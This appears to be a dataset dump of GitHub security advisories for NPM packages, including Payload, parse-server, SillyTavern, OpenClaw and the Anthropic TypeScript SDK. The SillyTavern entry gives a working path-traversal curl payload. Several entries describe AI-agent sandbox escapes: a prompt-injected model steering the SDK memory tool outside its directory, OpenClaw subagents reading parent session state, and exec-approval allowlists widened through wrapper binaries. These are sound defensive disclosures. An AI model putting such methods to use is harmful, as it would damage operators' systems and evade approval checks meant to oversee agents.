deardaniel/secdata-raw huggingface dataset:
GitHub Security Advisory: GHSA-xvww-xhx6-22pf
Package: sillytavern (NPM)
Severity: HIGH (CVSS 8.1)
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), CWE-73: External Control of File Name or Path
Vulnerable versions: <= 1.16.0
Patched in: 1.17.0

Summary: SillyTavern has a path traversal in `/api/chats/import` allows arbitrary file write outside intended chat directory

Details:
### Summary
A path traversal vulnerability in `/api/chats/import` allows an authenticated attacker to write attacker-controlled files outside the intended chats directory by injecting traversal sequences into `character_name`.

### Details
`character_name` is used unsafely as part of the destination filename and then passed into `path.join(...)` without sanitization.

Evidence:
- Import handler entrypoint:  
  <https://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/endpoints/chats.js#L680-L686>
- Unsanitized `character_name` used in output filename:  
  <https://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/endpoints/chats.js#L719-L723>
- Same write pattern in JSONL import branch:  
  <https://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/endpoints/chats.js#L759-L766>
- Endpoint auth context (authenticated user access):  
  <https://github.com/SillyTavern/SillyTavern/blob/b7bb8be35a5c779b4db12a4a5b94d7e49096071c/src/server-main.js#L239>

Example payload:
- `character_name=../../../../tmp/st_poc`

This causes the final destination path to escape from `<user>/chats/<avatar>/...` and write to an attacker-controlled location such as `/tmp/...` (or any writable path for the service account).

### PoC
Prerequisites:
- Valid authenticated session cookie (`cookie.txt`)
- Valid CSRF token (`$TOKEN`)

Prepare payload:

```bash
printf '{"user_name":"u","chat_metadata":{}}\n{"name":"u","mes":"owned"}\n' >/tmp/poc.jsonl
```

Trigger arbitrary write:

```bash
curl -b cookie.txt -H "x-csrf-token: $TOKEN" \
  -F "avatar=@/tmp/poc.jsonl" \
  -F "file_type=jsonl" \
  -F "avatar_url=a.png" \
  -F "character_name=../../../../tmp/st_poc" \
  -F "user_name=u" \
  http://TARGET:8000/api/chats/import
```

Observed result:
- A file is created outside chats directory, for example:  
  `/tmp/st_poc - <timestamp> imported.jsonl`

### Impact
- Integrity: attacker can create files in unintended filesystem locations.
- Availability: can be used for disk abuse and disruptive file placement.
- Can become more severe when chained with other local processing behaviors.

### Resolution

The issue was addressed in version 1.17.0
GitHub Security Advisory: GHSA-p6mr-xf3r-ghq4
Package: payload (NPM)
Severity: MODERATE (CVSS 5.4)
CWE: CWE-352: Cross-Site Request Forgery (CSRF)
Vulnerable versions: < 3.79.1
Patched in: 3.79.1

Summary: Payload has a CSRF Protection Bypass in Authentication Flow

Details:
### Impact

A Cross-Site Request Forgery (CSRF) vulnerability existed in the authentication flow. Under certain conditions, the configured CSRF protection could be bypassed, allowing cross-site requests to be made.

Consumers are affected if ALL of these are true:

- Payload version **< v3.79.1**
- `serverURL` is configured

### Patches

This vulnerability has been patched in **v3.79.1**. Additional validation has been added to the authentication flow.

Consumers should upgrade to **v3.79.1** or later.

### Workarounds

There is no complete workaround without upgrading. 

If consumers cannot upgrade immediately, setting `cookies.sameSite` to `'Strict'` will prevent the session cookie from being sent cross-site. However, this will also require users to re-authenticate when navigating to the application from external links (e.g. email, other sites).
GitHub Security Advisory: GHSA-6r7f-q7f5-wpx8
Package: payload (NPM)
Severity: HIGH (CVSS 7.7)
CWE: CWE-918: Server-Side Request Forgery (SSRF)
Vulnerable versions: < 3.79.1
Patched in: 3.79.1

Summary: Payload has Authenticated SSRF via Upload Functionality

Details:
### Impact

An authenticated Server-Side Request Forgery (SSRF) vulnerability existed in the upload functionality.

Authenticated users with `create` or `update` access to an upload-enabled collection could cause the server to make outbound HTTP requests to arbitrary URLs.

Consumers are affected if ALL of these are true:

- Payload version **< v3.79.1**
- At least one collection with `upload` enabled
- An authenticated user has `create` or `update` access to that collection

### Patches

This vulnerability has been patched in **v3.79.1**. Users should upgrade to **v3.79.1** or later.

### Workarounds

Until consumers can upgrade:

- Restrict `create` and `update` access to upload-enabled collections to trusted roles only.
- Limit outbound network access from your Payload server where possible.
GitHub Security Advisory: GHSA-mmxc-95ch-2j7c
Package: @payloadcms/next (NPM)
Severity: HIGH (CVSS 8.7)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: < 3.78.0
Patched in: 3.78.0

Summary: @payloadcms/next has Stored XSS in Admin Panel

Details:
### Impact

A stored Cross-site Scripting (XSS) vulnerability existed in the admin panel. An authenticated user with write access to a collection could save content that, when viewed by another user, would execute in their browser.

Consumers are affected if ALL of these are true:

- Payload version **< v3.78.0**
- At least one collection with versions enabled
- An authenticated user has `create` or `update` access to that collection

### Patches

This vulnerability has been patched in **v3.78.0**. Output encoding has been added to prevent user-supplied content from being interpreted as markup.

Users should upgrade to **v3.78.0** or later.

### Workarounds

If consumers cannot upgrade immediately:

- Restrict `create` and `update` access to versioned collections to trusted roles only.
GitHub Security Advisory: GHSA-7xxh-373w-35vg
Package: payload (NPM)
Severity: HIGH (CVSS 8.5)
CWE: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
Vulnerable versions: < 3.79.1
Patched in: 3.79.1

Summary: Payload has an SQL Injection via Query Handling

Details:
### Impact

Certain request inputs were not properly validated. An attacker could craft requests that influence SQL query execution, potentially exposing or modifying data in collections.

### Patches

This issue has been fixed in **v3.79.1** and later. Query input validation has been hardened.

Upgrade to **v3.79.1 or later**.

### Workarounds

Until developers can upgrade:

- Limit access to endpoints that accept dynamic query inputs to trusted users only.  
- Validate or sanitize input from untrusted clients before sending it to query endpoints.
GitHub Security Advisory: GHSA-5474-4w2j-mq4c
Package: @anthropic-ai/sdk (NPM)
Severity: MODERATE (CVSS 5.4)
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), CWE-41: Improper Resolution of Path Equivalence
Vulnerable versions: >= 0.79.0, < 0.81.0
Patched in: 0.81.0

Summary: Claude SDK for TypeScript: Memory Tool Path Validation Allows Sandbox Escape to Sibling Directories

Details:
The local filesystem memory tool in the Anthropic TypeScript SDK validated model-supplied paths using a string prefix check that did not append a trailing path separator. A model steered by prompt injection could supply a crafted path that resolved to a sibling directory sharing the memory root's name as a prefix, allowing reads and writes outside the sandboxed memory directory.

Users on the affected versions are advised to update to the latest version.

Claude SDK for TypeScript thanks [hackerone.com/nicksim](https://hackerone.com/nicksim) for reporting this issue!
GitHub Security Advisory: GHSA-hp5w-3hxx-vmwf
Package: @payloadcms/graphql (NPM)
Severity: CRITICAL (CVSS 9.1)
CWE: CWE-472: External Control of Assumed-Immutable Web Parameter, CWE-640: Weak Password Recovery Mechanism for Forgotten Password
Vulnerable versions: < 3.79.1
Patched in: 3.79.1

Summary: Payload: Pre-Authentication Account Takeover via Parameter Injection in Password Recovery

Details:
### Impact

A vulnerability in the password recovery flow could allow an unauthenticated attacker to perform actions on behalf of a user who initiates a password reset.

Users are affected if:

- They are using Payload version **< v3.79.1** with any auth-enabled collection using the built-in `forgot-password` functionality.

### Patches

Input validation and URL construction in the password recovery flow have been hardened.

Users should upgrade to **v3.79.1** or later.

### Workarounds

There are no complete workarounds. Upgrading to **v3.79.1** is recommended.
GitHub Security Advisory: GHSA-hp5w-3hxx-vmwf
Package: payload (NPM)
Severity: CRITICAL (CVSS 9.1)
CWE: CWE-472: External Control of Assumed-Immutable Web Parameter, CWE-640: Weak Password Recovery Mechanism for Forgotten Password
Vulnerable versions: < 3.79.1
Patched in: 3.79.1

Summary: Payload: Pre-Authentication Account Takeover via Parameter Injection in Password Recovery

Details:
### Impact

A vulnerability in the password recovery flow could allow an unauthenticated attacker to perform actions on behalf of a user who initiates a password reset.

Users are affected if:

- They are using Payload version **< v3.79.1** with any auth-enabled collection using the built-in `forgot-password` functionality.

### Patches

Input validation and URL construction in the password recovery flow have been hardened.

Users should upgrade to **v3.79.1** or later.

### Workarounds

There are no complete workarounds. Upgrading to **v3.79.1** is recommended.
GitHub Security Advisory: GHSA-mmg8-87c5-jrc2
Package: parse-server (NPM)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-843: Access of Resource Using Incompatible Type ('Type Confusion')
Vulnerable versions: < 8.6.70
Patched in: 8.6.70

Summary: Parse Server has a LiveQuery protected-field guard bypass via array-like logical operator value

Details:
### Impact

An authenticated user with `find` class-level permission can bypass the `protectedFields` class-level permission setting on LiveQuery subscriptions. By sending a subscription with a `$or`, `$and`, or `$nor` operator value as a plain object with numeric keys and a `length` property (an "array-like" object) instead of an array, the protected-field guard is bypassed. The subscription event firing acts as a binary oracle, allowing the attacker to infer whether a protected field matches a given test value.

### Patches

The fix validates that `$or`, `$and`, and `$nor` operator values are arrays in the LiveQuery subscription handler, the query depth checker, and the protected-field guard. As defense in depth, the LiveQuery query evaluator also rejects non-array values for these operators.

### Workarounds

There is no known workaround.
GitHub Security Advisory: GHSA-mmg8-87c5-jrc2
Package: parse-server (NPM)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-843: Access of Resource Using Incompatible Type ('Type Confusion')
Vulnerable versions: >= 9.0.0, < 9.7.0-alpha.16
Patched in: 9.7.0-alpha.16

Summary: Parse Server has a LiveQuery protected-field guard bypass via array-like logical operator value

Details:
### Impact

An authenticated user with `find` class-level permission can bypass the `protectedFields` class-level permission setting on LiveQuery subscriptions. By sending a subscription with a `$or`, `$and`, or `$nor` operator value as a plain object with numeric keys and a `length` property (an "array-like" object) instead of an array, the protected-field guard is bypassed. The subscription event firing acts as a binary oracle, allowing the attacker to infer whether a protected field matches a given test value.

### Patches

The fix validates that `$or`, `$and`, and `$nor` operator values are arrays in the LiveQuery subscription handler, the query depth checker, and the protected-field guard. As defense in depth, the LiveQuery query evaluator also rejects non-array values for these operators.

### Workarounds

There is no known workaround.
GitHub Security Advisory: GHSA-hh43-q692-2xmq
Package: openclaw (NPM)
Severity: CRITICAL (CVSS 8.4)
CWE: CWE-863: Incorrect Authorization
Vulnerable versions: <= 2026.3.8
Patched in: unpatched

Summary: Duplicate Advisory: `OpenClaw: session_status` let sandboxed subagents access parent or sibling session state

Details:
## Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-wcxr-59v9-rxr8. This link is maintained to preserve external references.

## Original Description
OpenClaw before 2026.3.11 contains a session sandbox escape vulnerability in the session_status tool that allows sandboxed subagents to access parent or sibling session state. Attackers can supply arbitrary sessionKey values to read or modify session data outside their sandbox scope, including persisted model overrides.
GitHub Security Advisory: GHSA-c447-w54g-f55j
Package: openclaw (NPM)
Severity: HIGH (CVSS 7.5)
CWE: CWE-770: Allocation of Resources Without Limits or Throttling
Vulnerable versions: <= 2026.3.12
Patched in: unpatched

Summary: Duplicate Advisory: OpenClaw Telegram webhook request bodies were read before secret validation, enabling unauthenticated resource exhaustion

Details:
## Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-jq3f-vjww-8rq7. This link is maintained to preserve external references.

## Original Description
OpenClaw before 2026.3.13 reads and buffers Telegram webhook request bodies before validating the x-telegram-bot-api-secret-token header, allowing unauthenticated attackers to exhaust server resources. Attackers can send POST requests to the webhook endpoint to force memory consumption, socket time, and JSON parsing work before authentication validation occurs.
GitHub Security Advisory: GHSA-f6j3-w9v3-cq22
Package: parse-server (NPM)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-697: Incorrect Comparison
Vulnerable versions: < 8.6.69
Patched in: 8.6.69

Summary: Parse Server has a session field immutability bypass via falsy-value guard

Details:
### Impact

An authenticated user can bypass the immutability guard on session fields (`expiresAt`, `createdWith`) by sending a null value in a PUT request to the session update endpoint. This allows nullifying the session expiry, making the session valid indefinitely and bypassing configured session length policies.

### Patches

The truthiness-based guard checks were replaced with key-presence checks that reject any value for protected session fields, including null.

### Workarounds

There is no known workaround. A `beforeSave` trigger on `_Session` could be used to reject null values for `expiresAt` and `createdWith`.
GitHub Security Advisory: GHSA-f6j3-w9v3-cq22
Package: parse-server (NPM)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-697: Incorrect Comparison
Vulnerable versions: >= 9.0.0, < 9.7.0-alpha.14
Patched in: 9.7.0-alpha.14

Summary: Parse Server has a session field immutability bypass via falsy-value guard

Details:
### Impact

An authenticated user can bypass the immutability guard on session fields (`expiresAt`, `createdWith`) by sending a null value in a PUT request to the session update endpoint. This allows nullifying the session expiry, making the session valid indefinitely and bypassing configured session length policies.

### Patches

The truthiness-based guard checks were replaced with key-presence checks that reject any value for protected session fields, including null.

### Workarounds

There is no known workaround. A `beforeSave` trigger on `_Session` could be used to reject null values for `expiresAt` and `createdWith`.
GitHub Security Advisory: GHSA-8rh7-6779-cjqq
Package: openclaw (NPM)
Severity: CRITICAL (CVSS 9.6)
CWE: CWE-426: Untrusted Search Path
Vulnerable versions: <= 2026.3.24
Patched in: 2026.3.28

Summary: OpenClaw has a CWD `.env` environment variable injection which bypasses host-env policy and allows config takeover

Details:
## Summary

OpenClaw loaded the current working directory `.env` before trusted state-dir configuration, allowing untrusted workspace state to inject host environment values.

## Impact

A repository or workspace containing a malicious `.env` file could override runtime configuration and security-sensitive environment settings when OpenClaw started there.

## Affected Component

`src/infra/dotenv.ts, src/cli/dotenv.ts`

## Fixed Versions

- Affected: `<= 2026.3.24`
- Patched: `>= 2026.3.28`
- Latest stable `2026.3.28` contains the fix.

## Fix

Fixed by commit `6a79324802` (`Filter untrusted CWD .env entries before OpenClaw startup`).
GitHub Security Advisory: GHSA-p4x4-2r7f-wjxg
Package: openclaw (NPM)
Severity: HIGH (CVSS 7.3)
CWE: CWE-863: Incorrect Authorization
Vulnerable versions: <= 2026.3.24
Patched in: 2026.3.28

Summary: OpenClaw gateway exec allow-always over-trusts positional carrier executables

Details:
## Summary

Allow-always persistence could trust wrapper carrier executables instead of the actual invoked target when commands were routed through dispatch wrappers.

## Impact

A one-time approval could persist a broader future allowlist entry than the operator intended, weakening execution approval boundaries.

## Affected Component

`src/infra/exec-approvals-allowlist.ts`

## Fixed Versions

- Affected: `<= 2026.3.24`
- Patched: `>= 2026.3.28`
- Latest stable `2026.3.28` contains the fix.

## Fix

Fixed by commit `9ec44fad39` (`Exec approvals: reject wrapper carrier allow-always targets`).
GitHub Security Advisory: GHSA-qxgf-hmcj-3xw3
Package: openclaw (NPM)
Severity: LOW (CVSS 0.0)
CWE: CWE-918: Server-Side Request Forgery (SSRF)
Vulnerable versions: <= 2026.3.24
Patched in: 2026.3.28

Summary: OpenClaw affected by SSRF via unguarded image download in fal provider

Details:
## Summary

The fal provider used raw fetches for both provider API traffic and returned image download URLs instead of the existing SSRF-guarded fetch path.

## Impact

A malicious or compromised fal relay could make the gateway fetch internal URLs and expose metadata or internal service responses through the image pipeline.

## Affected Component

`extensions/fal/image-generation-provider.ts`

## Fixed Versions

- Affected: `<= 2026.3.24`
- Patched: `>= 2026.3.28`
- Latest stable `2026.3.28` contains the fix.

## Fix

Fixed by commit `80d1e8a11a` (`fal: guard image fetches`).

OpenClaw thanks @AntAISecurityLab for reporting.
GitHub Security Advisory: GHSA-63mg-xp9j-jfcm
Package: openclaw (NPM)
Severity: MODERATE (CVSS 9.8)
CWE: CWE-863: Incorrect Authorization
Vulnerable versions: <= 2026.3.24
Patched in: 2026.3.28

Summary: OpenClaw: Google Chat and Zalouser group sender allowlist bypass via policy downgrade

Details:
## Summary

When only a route-level group allowlist was configured, sender policy resolution silently downgraded from `allowlist` to `open` instead of preserving the configured group policy.

## Impact

Any member of an allowlisted Google Chat space or Zalouser group could interact with the bot even when the operator intended sender-level restrictions.

## Affected Component

`extensions/googlechat/src/monitor-access.ts, extensions/zalouser/src/monitor.ts`

## Fixed Versions

- Affected: `<= 2026.3.24`
- Patched: `>= 2026.3.28`
- Latest stable `2026.3.28` contains the fix.

## Fix

Fixed by commit `e64a881ae0` (`Channels: preserve routed group policy`).

OpenClaw thanks @AntAISecurityLab for reporting.
GitHub Security Advisory: GHSA-5r8f-96gm-5j6g
Package: openclaw (NPM)
Severity: HIGH (CVSS 0.0)
CWE: CWE-284: Improper Access Control, CWE-863: Incorrect Authorization
Vulnerable versions: <= 2026.3.24
Patched in: 2026.3.28

Summary: OpenClaw Gateway `operator.write` can reach admin-only session reset via `chat.send` `/reset`

Details:
## Summary

The `chat.send` path reused command authorization to trigger `/reset` session rotation even though direct session reset is an admin-only control-plane operation.

## Impact

A write-scoped gateway caller could rotate a target session, archive the prior transcript state, and force a new session id without admin scope.

## Affected Component

`src/gateway/server-methods/chat.ts, src/auto-reply/reply/session.ts`

## Fixed Versions

- Affected: `<= 2026.3.24`
- Patched: `>= 2026.3.28`
- Latest stable `2026.3.28` contains the fix.

## Fix

Fixed by commit `be00fcfccb` (`Gateway: align chat.send reset scope checks`).
GitHub Security Advisory: GHSA-2x4x-cc5g-qmmg
Package: openclaw (NPM)
Severity: MODERATE (CVSS 9.8)
CWE: CWE-863: Incorrect Authorization
Vulnerable versions: <= 2026.3.24
Patched in: 2026.3.28

Summary: OpenClaw: node.pair.approve missing callerScopes validation allows low-privilege operator to approve malicious nodes

Details:
## Summary

The node pairing approval path did not consistently enforce that the approving caller already held every scope requested by the node.

## Impact

A lower-privileged operator could approve a pending node request for broader scopes and extend privileges onto the paired node.

## Affected Component

`src/infra/node-pairing.ts, src/gateway/server-methods/nodes.ts`

## Fixed Versions

- Affected: `<= 2026.3.24`
- Patched: `>= 2026.3.28`
- Latest stable `2026.3.28` contains the fix.

## Fix

Fixed by commit `4d7cc6bb4f` (`gateway: restrict node pairing approvals`).

OpenClaw thanks @AntAISecurityLab for reporting.
GitHub Security Advisory: GHSA-6pfc-6m7w-m8fx
Package: openclaw (NPM)
Severity: HIGH (CVSS 7.3)
CWE: CWE-385: Covert Timing Channel
Vulnerable versions: <= 2026.3.24
Patched in: 2026.3.28

Summary: OpenClaw has a gateway exec allowlist allow-always bypass via unregistered /usr/bin/script wrapper

Details:
## Summary

Allow-always persistence did not unwrap `/usr/bin/script` and similar wrappers to the actual executed target before storing trust decisions.

## Impact

A user approval for one wrapped command could persist trust for a wrapper binary that later executed a different underlying program.

## Affected Component

`src/infra/dispatch-wrapper-resolution.ts, src/infra/exec-wrapper-resolution.ts`

## Fixed Versions

- Affected: `<= 2026.3.24`
- Patched: `>= 2026.3.28`
- Latest stable `2026.3.28` contains the fix.

## Fix

Fixed by commit `83da3cfe31` (`infra: unwrap script wrapper approval targets`).
GitHub Security Advisory: GHSA-j7p2-qcwm-94v4
Package: openclaw (NPM)
Severity: HIGH (CVSS 9.6)
CWE: CWE-183: Permissive List of Allowed Inputs
Vulnerable versions: < 2026.3.22
Patched in: 2026.3.22

Summary: OpenClaw's incomplete host env sanitization blocklist allows supply-chain redirection via package-manager env overrides

Details:
## Summary

Host exec env override sanitization did not fail closed for several package-manager and related redirect variables that can steer dependency fetches or startup behavior.

## Impact

An approved exec request could silently redirect package resolution or runtime bootstrap to attacker-controlled infrastructure and execute trojanized content.

## Affected Component

`src/infra/host-env-security-policy.json, src/infra/host-env-security.ts`

## Fixed Versions

- Affected: `< 2026.3.22`
- Patched: `>= 2026.3.22`

## Fix

Fixed by commit `7abfff756d` (`Exec: harden host env override handling across gateway and node`).
GitHub Security Advisory: GHSA-9528-x887-j2fp
Package: openclaw (NPM)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-307: Improper Restriction of Excessive Authentication Attempts
Vulnerable versions: <= 2026.3.24
Patched in: 2026.3.28

Summary: OpenClaw's Nextcloud Talk webhook missing rate limiting on shared secret authentication

Details:
## Summary

Nextcloud Talk webhook signature failures were not throttled even though the integration relies on an operator-configured shared secret that may be weak.

## Impact

An attacker who could reach the webhook endpoint could brute-force weak secrets online and then forge inbound webhook events.

## Affected Component

`extensions/nextcloud-talk/src/monitor.ts`

## Fixed Versions

- Affected: `<= 2026.3.24`
- Patched: `>= 2026.3.28`
- Latest stable `2026.3.28` contains the fix.

## Fix

Fixed by commit `e403decb6e` (`nextcloud-talk: throttle repeated webhook auth failures`).

OpenClaw thanks @AntAISecurityLab for reporting.